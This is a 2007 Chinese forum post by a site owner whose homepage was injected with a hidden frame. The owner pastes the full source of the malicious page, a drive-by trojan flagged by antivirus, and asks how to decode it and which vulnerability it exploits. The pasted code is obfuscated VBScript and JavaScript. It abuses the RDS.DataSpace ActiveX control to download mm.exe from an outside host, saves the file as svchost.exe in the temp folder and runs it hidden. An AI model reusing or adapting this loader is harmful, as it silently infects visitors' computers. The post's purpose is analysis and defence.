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初生襁褓狮
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发表于：
2007-01-22 13:10
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短消息
资料
被挂网马了,帮分析下
前天发现主页末尾多了个框架,最后找到这个元凶p.htm,用RISING扫了下,报是Trojan.DL.VBS.Psyme.ce,源码如下: <script>
xinchunkuaile = "http://www.yxgm78.com/mm/mm.exe"
t="32,32,32,32,60,104,116,109,108,62,13,10,32,32,32,32,60,115,99,114,105,112,116,32,108,97,110,103,117,97,103,101,61,34,86,66,83,99,114,105,112,116,34,62,13,10,32,32,32,32,111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,13,10,32,32,32,32,70,112,105,110,103,112,105,110,103,97,110,97,110,61,34,111,34,38,34,98,34,38,34,106,34,38,34,101,34,38,34,99,116,34,13,10,32,32,32,32,75,112,105,110,103,112,105,110,103,97,110,97,110,61,34,99,34,38,34,108,34,38,34,97,34,38,34,115,34,38,34,115,34,38,34,105,34,38,34,100,34,13,10,32,32,32,32,84,112,105,110,103,112,105,110,103,97,110,97,110,61,34,99,34,38,34,108,34,38,34,115,34,38,34,105,100,34,38,34,58,34,38,34,66,34,38,34,68,34,38,34,57,54,34,38,34,67,34,38,34,53,53,54,34,38,34,45,34,38,34,54,34,38,34,53,34,38,34,65,34,38,34,51,45,34,38,34,49,49,34,38,34,68,34,38,34,48,34,38,34,45,34,38,34,57,56,34,38,34,51,34,38,34,65,34,38,34,45,34,38,34,48,48,34,38,34,67,34,38,34,48,52,34,38,34,70,67,34,38,34,50,57,34,38,34,69,34,38,34,51,54,34,13,10,32,32,32,32,77,112,105,110,103,112,105,110,103,97,110,97,110,61,34,77,34,38,34,105,34,38,34,99,114,34,38,34,111,115,111,34,38,34,102,34,38,34,116,34,38,34,46,34,38,34,88,34,38,34,77,34,38,34,76,34,38,34,72,84,84,80,34,13,10,32,32,32,86,112,105,110,103,112,105,110,103,97,110,97,110,61,34,83,34,38,34,104,101,34,38,34,108,34,38,34,108,34,38,34,46,34,38,34,65,34,38,34,112,112,34,38,34,108,34,38,34,105,34,38,34,99,34,38,34,97,34,38,34,116,34,38,34,105,34,38,34,111,110,34,13,10,87,112,105,110,103,112,105,110,103,97,110,97,110,61,34,83,34,38,34,99,34,38,34,114,34,38,34,105,112,34,38,34,116,105,34,38,34,110,34,38,34,103,34,38,34,46,34,38,34,70,34,38,34,105,34,38,34,108,34,38,34,101,34,38,34,83,34,38,34,121,34,38,34,115,34,38,34,116,34,38,34,101,34,38,34,109,34,38,34,79,34,38,34,98,34,38,34,106,34,38,34,101,34,38,34,99,34,38,34,116,34,13,10,32,32,32,32,83,101,116,32,120,105,110,99,104,117,110,107,117,97,105,108,101,99,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,70,112,105,110,103,112,105,110,103,97,110,97,110,41"
t=eval("String.fromCharCode("+t+")");
document.write(t);</script>
xinchunkuailec.setAttribute Kpingpinganan, Tpingpinganan
xinchunkuailei=Mpingpinganan
Set xinchunkuailed = xinchunkuailec.CreateObject(xinchunkuailei,"")
yyuandankuailef="A"&"d"&"o"
yyuandankuaileg="d"&"b."
yyuandankuaileh="S"&"t"&"r"
yyuandankuailei="e"&"a"&"m"
xinchunkuailef=yyuandankuailef&yyuandankuaileg&yyuandankuaileh&yyuandankuailei
xinchunkuaileg=xinchunkuailef
set xinchunkuailea = xinchunkuailec.createobject(xinchunkuaileg,"")
xinchunkuailea.type = 1
xinchunkuaileh="G"&"E"&"T"
xinchunkuailed.Open xinchunkuaileh, xinchunkuaile, False
xinchunkuailed.Send
xinchunkuaile9="svchost.exe"
set xinchunkuaileb = xinchunkuailec.createobject(Wpingpinganan,"")
set xinchunkuailee = xinchunkuaileb.GetSpecialFolder(2)
xinchunkuailea.open
xinchunkuaile8="xinchunkuailea.BuildPath(xinchunkuailea,xinchunkuaile8)"
xinchunkuaile7="woxinyonghengb.BuildPath(woxinyonghengb,xinchunkuaile7)"
xinchunkuaile6="xinchunkuailec"&"."&"B"&"u"&"i"&"l"&"dP"&"a"&"t"&"h(xinchunkuailed,xinchunkuaile6)"
xinchunkuaile5="xinchunkuailed"&"."&"B"&"u"&"il"&"d"&"P"&"at"&"h(xinchunkuailef,xinchunkuaile5)"
xinchunkuaile4="xinchunkuailee"&"."&"Bu"&"i"&"l"&"d"&"P"&"a"&"t"&"h(xinchunkuaileg,xinchunkuaile4)"
xinchunkuaile3="xinchunkuailef"&"."&"B"&"u"&"i"&"l"&"d"&"Pa"&"t"&"h(xinchunkuaileh,xinchunkuaile4)"
xinchunkuaile2="xinchunkuaileg"&"."&"B"&"u"&"il"&"d"&"P"&"a"&"t"&"h(xinchunkuailei,xinchunkuaile3)"
xinchunkuaile1="xinchunkuaileh"&"."&"B"&"u"&"i"&"ld"&"P"&"a"&"t"&"h(xinchunkuaileg,xinchunkuaile1)"
xinchunkuaile0="xinchunkuailei"&"."&"B"&"u"&"i"&"l"&"d"&"P"&"at"&"h(xinchunkuailek,xinchunkuaile0)"
xinchunkuaile9= xinchunkuaileb.BuildPath(xinchunkuailee,xinchunkuaile9)
xinchunkuailea.write xinchunkuailed.responseBody
xinchunkuailea.savetofile xinchunkuaile9,2
xinchunkuailea.close
set xinchunkuailee = xinchunkuailec.createobject(Vpingpinganan,"")
xinchunkuailee.ShellExecute xinchunkuaile9,BBS,BBS,"o"&"p"&"en",0</script></html>
<script type="text/jscript">function init() { document.write("你好，您所访问的页面正在加载中...请稍候片刻....");}window.onload = init;</script>当然这个网页的目的是下载执行mm.exe.好像是VBS加密的,我发帖的目的是想知道,解密的方法是什么?这个网马利用的是什么漏洞?那位帮我解下密?帮说说解密分析方法!我"百度"了很久也没找出办法来,只能来这里找高手了.在此先为谢过!
 2008-02-11 05:28:05
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